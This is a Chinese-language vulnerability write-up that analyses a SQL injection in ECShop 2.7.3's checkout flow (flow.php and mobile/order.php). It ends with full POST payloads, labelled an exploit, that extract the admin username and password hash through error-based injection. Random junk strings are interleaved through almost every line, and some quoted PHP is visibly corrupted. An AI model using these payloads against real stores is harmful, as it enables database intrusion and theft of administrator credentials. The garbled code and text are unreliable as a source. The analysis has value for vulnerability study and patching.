前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。* f' L6 K6 f. K& v `
1 J, N9 O( {6 p5 b/ W2 G 漏洞关键文件:
2 g6 i" E0 Y) t* u! y
! K/ `$ l/ g5 S/ c' x /includes/lib_order.php
$ S. F" N$ P! s2 j) Z3 q' C
# h1 O# F/ q$ q 关键函数:1 f, n6 h7 ?, f, r1 [6 ^) r: o8 v
* ~" ~; x# m6 W& ~/ ?
3 _! k1 x) k: K* F' z3 q6 a6 m
5 K- ]6 k/ P9 A4 l0 U [7 S$ U01 function available_shipping_list($region_id_list) 0 @, A* B4 F* X* N0 K
# t6 H; A1 W) V02 { , M- n' r( G9 T% A2 H2 T( m; p
' S* T. b0 \1 N0 }03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
6 e; g5 ^) ^: z6 U2 Q2 S& U$ G @- T ^6 a' K& k0 N
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
; J6 I- O! ]" k' b3 _
6 f! s' v, O4 R3 h% D, l. N05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ! F z1 [7 P* Z8 L
6 R, d ^ U% p7 V$ O: a* X8 m06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . & [0 U/ w( q) h* ^2 o/ K$ E5 O. S
) [2 w- L& w5 \9 w07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 8 x3 t/ p3 e8 t1 W
4 L1 h1 v! y4 Y2 ?! w08 'WHERE r.region_id ' . db_create_in($region_id_list) .
$ _8 R" B- r4 j" A( t9 w/ Q$ l- n1 a/ |. M6 e
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
, z% E" u$ ^2 C9 Z5 \8 ^5 b% |. L7 p$ l
10 % k- a) s! Z+ j/ X" `, l2 F; X6 `, z
+ I6 Z$ I5 e& }3 }" d1 [. o8 Y11 return $GLOBALS['db']->getAll($sql);
: V8 L$ Y; E: n3 Q% n! G
' u: H+ l8 V5 [" X$ ~+ `4 p12 } ( X% A8 ^6 H* c. w. i; a
+ z8 Y W, o" a% U: E8 K* j' V* N( F
显然对传入的参数没有任何过滤就带入了查询语句。/ I1 ]6 J7 H+ u, ^" V
: Q5 V" S4 w/ A( h0 k& H
下面我们追踪这个函数在flow.php中:
: i, R: l1 m# @) Y& \8 Y 第531行:
/ I3 I( Z4 H1 L' m0 c
; _4 k) |. | g1 $shipping_list = available_shipping_list($region);
( ?1 |( b) c) C6 f
) Q Z t+ b6 c' E2 _# P5 U- H
" G# b% w, h! U+ i2 k- o) H
. w7 _- J& {' M1 o- r ; J$ V+ J- V% j/ _9 t) V. g w
0 U2 \. U" j& T7 X4 v/ }2 d1 g8 m: Y
再对传入变量进行追踪:0 d( @( V& @- x$ [) `
" X/ L# s2 V# t8 J8 R. T第530行: 6 _. w' m( z% R/ E5 y9 c
& A! ]2 y9 k9 I0 u% U; N7 T) q: y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 2 q/ W3 H0 G4 T; H2 E0 @) [
$ B/ X2 _2 f! j% T* w8 X
# d! Z# D5 s4 b" A' @# A, [. J6 b- W1 ]+ F
$ D% k, X% g$ y- C' t0 X+ Z4 M7 O+ b$ J' M
第473行:
# g( h/ v; t5 o" C2 a1 @# Z, p
0 F9 B. T( b" u1 H8 _- a- y1 $consignee = get_consignee($_SESSION['user_id']); % Y5 q/ B* Q' Z
5 |$ ?$ K& ]) R% ]! x到了一个关键函数:3 g6 `( K8 d* p5 W/ t$ r: v( L
T7 m; v% J1 n+ [& }( ~
/includes/lib_order.php* L5 a7 h" h+ |* g
2 z" ~' v* o( w+ P4 r
% k) |8 n& p9 k5 }& |' {
4 s+ O, H) Y% a
0 `& _/ _0 T9 u* I6 m; B% T
, N& x/ C. r. b' r$ H
01 function get_consignee($user_id)
0 A) Q% O) r7 }& t7 i( a* e; P5 p' j. v# z L2 p
02 {
9 Z" f, [( z0 ?& C' r) P- P
6 i& S9 K3 v4 x4 m6 h( K" u03 if (isset($_SESSION['flow_consignee'])) / ~$ ~8 o/ F) r, p) v2 F
\: q' q/ T! v0 ^" k
04 {
: Z: E4 z# v; B4 }. ]$ p, Z8 `
# ]/ N" z5 n; Q8 D4 x; s1 f5 j05 /* 如果存在session,则直接返回session中的收货人信息 */
6 y7 w. h3 T z; l3 j C
9 u* c7 x( b) h06 $ q' ?6 Z" z5 l' L( Q
* C3 y }; R7 L f2 F07 return $_SESSION['flow_consignee']; 9 b/ M) e3 e4 U w$ |. K
$ v6 r' s7 d7 }08 }
1 B. y5 M9 f& K1 H8 `7 D# M2 s* \1 [$ E" _
09 else
$ n( C9 k" m" L4 h5 S/ P/ Z" Y) L! O% r) v7 f/ y2 }5 K# n
10 {
3 I% L, {3 U) a$ b5 c! V
4 c/ u( ^: p; l11 /* 如果不存在,则取得用户的默认收货人信息 */ $ c f( h9 r0 ]. d
: h, }( C9 {' q& z
12 $arr = array(); ( F2 R- D- g% h! @$ T$ \
. ^( c; S. f0 O
13 2 {$ o w. C" r$ ]; |
% f. B$ D h' ~14 if ($user_id > 0) 6 S3 a1 M% z$ w2 b
) e2 r7 n" o6 j15 { ; E Z3 c7 G# N, ~
9 e& X: B7 j& {6 ]1 V
16 /* 取默认地址 */ 6 Q7 C, B/ x0 A7 z5 F* y4 U
- _& d" n4 p0 i17 $sql = "SELECT ua.*".
7 @2 z. r3 i4 U- l1 ]! C9 @7 b; } x! l
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 E( J: l3 J7 [
. L |! t/ x, ` d* B! J1 g/ j8 s19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; y7 f& ^, l8 `
' n" Y0 ?' P: v# b! r
20 $ w/ z) t' L7 K9 J
% v/ `* P/ Q9 o1 Z4 S21 $arr = $GLOBALS['db']->getRow($sql);
; R& o4 r" C" A& d
) o2 R: g3 a" d2 Z' E22 } 2 H* z' E9 [' p' @, w0 T% [2 f
1 f- e+ `8 l. @7 x# _4 U. d9 C. i
23
! q4 Q% {+ s! Z
6 ~' o& e, S2 c; h; l24 return $arr;
3 Y" o2 h! X- ^# h. Z9 E- A$ I* p" W: Z" c7 f4 r+ z
25 } ) ~# E. \' x, k; O! j' H @
8 A$ y4 l+ F; ]9 \2 t26 }
' H& J& l: |! n. V
+ F& U- O1 f z/ Y3 o; F6 s9 ]* B' r5 W显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
2 p3 p) u- W6 ?& C/ J$ F+ T! Y& ?9 I( P' I& K/ ~, {7 j
2 X% [8 J5 g" S5 n8 |. Q
4 V" @* d: a/ ?) ?" m4 p& [关键点:: _. m: x3 t7 d4 D+ [
% w) \5 O, B* ~第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
; F, S; r1 N: W3 |( H; E# @. { U* r. L8 H2 E" s& w. r
这里对传入参数反转义存入$_SESSION中。
/ G/ p; Y3 g* C* X* G" g0 o. c& c3 t
6 ` O) i4 ~3 Z v$ ~8 r
. B5 E; X5 j5 Z4 J! C- P* ^然后看下:
% R i' L( K& x) U& V, |' h4 v- A% V$ Y$ q- a
2 C' a% {. S. d- H: s/ @) N" ]' R" Q
1 U; P4 l! ^2 T) V) r1 I9 v& j* I4 Q+ \7 f
01 $consignee = array(
?, p; A" D0 Y( y8 ~2 _3 V2 \; i; g5 d8 M: f
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
+ p6 m1 P0 k% Y1 h
% v/ u; b4 k8 _3 `6 }8 a; N03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
3 u! X9 r' u0 I8 H2 p4 Y' |
. _3 }9 n% F. B, N) X k8 A04 'country' => empty($_POST['country']) ? '' _POST['country'],
8 [1 p- u7 z- Q) k# @" s$ {$ E. B- M
05 'province' => empty($_POST['province']) ? '' _POST['province'],
- @* j! p7 A/ {8 C8 K. r+ Z K2 I9 i7 a
06 'city' => empty($_POST['city']) ? '' _POST['city'], $ N I0 b9 K- d4 e
" k2 V4 {+ v! K9 o8 q07 'district' => empty($_POST['district']) ? '' _POST['district'], 5 u5 H( Q. P0 F- l! Q7 m
+ x1 u; S+ R' F" o# M4 y08 'email' => empty($_POST['email']) ? '' _POST['email'], $ U; e* `! ^" `* j* v# i
6 N1 h/ Q: R0 ~; \09 'address' => empty($_POST['address']) ? '' _POST['address'], 4 T+ S" [( \7 u! ?# u) t
; M: T0 e/ I! [6 }+ h
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
7 g8 t( r5 x& |; c8 O
& S& a4 z: V1 U1 m. ^ Z11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
# R# _2 A/ Q" T
0 }* C! |' m: {" a' f. Z u& V12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
?5 g3 A4 k) V: n! a6 @' {$ v" K
& N% {) A/ P5 m4 Q" L13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ' s0 i2 ^4 J5 e; K
N5 H( J7 Y i: @
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], % @- z" ~' ]8 ]8 L
& r, p$ U* F6 U- J9 T0 v; C
15 ); / f1 O" v8 ]! d6 Y8 X: k" A
+ t* U/ O* q6 U7 K" \& Y1 M
好了注入就这样出现了。
1 r, ?% g/ Z+ h3 [* ]# y( g' J n( i4 ~# |
==================' A P8 [7 J* t- [
) E2 J, e: ^: a# c% s
注入测试:
# K3 o' z* d' B* d: t4 ~
7 N" _7 b m+ }5 t5 I* S& n5 {! }环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ ^2 o6 D: z1 J. c8 G1 v5 V: H) {- ^4 U* `
测试程序:ECShop_V2.7.3_UTF8_release1106
( g! H: m( f$ V* J- c" A# b0 F! c% q! B7 _/ ^5 R8 g7 `- U3 x* x
9 a4 U& F: s( B
( j: N8 |' P/ f q
1.首先需要点击一个商品加入购物车
' B% X0 E2 F/ v2 {/ p C3 \
. w/ _0 ~% i4 @0 e/ E2.注册一个会员帐号
% b2 k) Q% y9 B* d+ F6 L( H0 O! O2 ]) ~+ G2 i
3.post提交数据
3 h9 |" p: d1 L+ t+ ~' Y. b* x! X2 p' E, D% b
8 J$ ?0 Z4 I/ S
. E7 l$ e$ L# U# b; c
1 http://127.0.0.1/ecshop/flow.php
6 A5 i$ X3 G% g8 m
8 L/ q; _1 s1 \; ]$ U5 w1 q2
; w$ A: a- \2 A6 T
# D) j/ l2 T' x3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 R- C( |8 ]; b" x5 x举一反三,我们根据这个漏洞我们可以继续深入挖掘:( M$ f/ z. y$ c% T5 ~7 j- V. ?6 Q
, ^4 s8 n$ z3 |, S* `
我们搜寻关键函数function available_shipping_list()" v3 v5 ~, O5 p/ u
. h) i. D; F1 P$ I, l+ I4 O在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, S$ ]( t' v$ T# c! h
2 n! V7 i1 I$ R" W' ]! [5 R
利用exp:
0 T! Z( C7 [# `+ f
# K$ V1 q, S6 V- M: F! A1.点击一个商品,点击购买商标1 S: T7 @& `# l, L; B: `$ f0 o2 ~
8 p& E" |: G2 E2 g8 F* f! ]9 {
2.登录会员帐号
) [$ j# P9 d- E' V8 l6 q/ u1 {. b- J* a
3.post提交:
5 o7 o( I5 A& i! [
3 O& a0 x" B! W* O. N3 Ihttp://127.0.0.1/ecshop/mobile/order.php0 d- K. Y1 |/ v6 O
" Y% ~4 ]8 E1 G* S$ q! S0 ]4 q
5 Y3 H3 G$ V7 u8 k6 ~$ R z) o7 U
% n* n7 n6 J/ Y' x. M V3 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id= [. Y+ D! v2 ]/ |! @) i3 W5 e
3 U% d& E# `1 B% `4 t* }1 q
|